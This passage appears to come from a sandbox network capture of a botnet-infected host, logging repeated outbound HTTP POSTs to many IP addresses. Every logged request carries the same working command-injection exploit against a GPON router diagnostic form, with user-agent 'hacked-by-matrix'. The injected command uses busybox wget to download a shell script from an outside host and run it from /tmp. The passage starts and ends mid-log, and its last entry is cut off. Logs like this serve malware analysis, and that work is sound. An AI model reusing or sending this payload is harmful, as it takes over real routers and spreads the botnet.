Mar 21, 2024 05:25:10.961605072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	36650	94.205.18.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961622000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	55196	212.205.113.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961652994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	57666	2.61.232.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961654902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	40814	2.195.128.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961697102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	51318	2.152.41.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961720943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	47374	94.195.154.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961745977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	57498	178.130.118.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961767912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	43642	42.131.131.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961771011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	36292	79.228.157.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961795092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	35438	79.161.197.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961828947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	46432	37.44.236.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961842060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	47280	118.152.136.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961882114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	43068	109.181.197.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961893082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	57914	118.53.67.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961915016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	53670	79.159.156.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961936951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	36860	5.79.232.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961968899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	35164	109.54.231.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961986065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	48510	210.155.67.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962009907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	38182	79.208.8.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962021112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	43882	2.92.183.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962045908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	43712	5.152.19.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962091923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	56630	79.119.237.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962137938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	52686	210.152.33.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962150097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	36876	42.0.0.70	443

Timestamp	Bytes transferred	Direction	Data
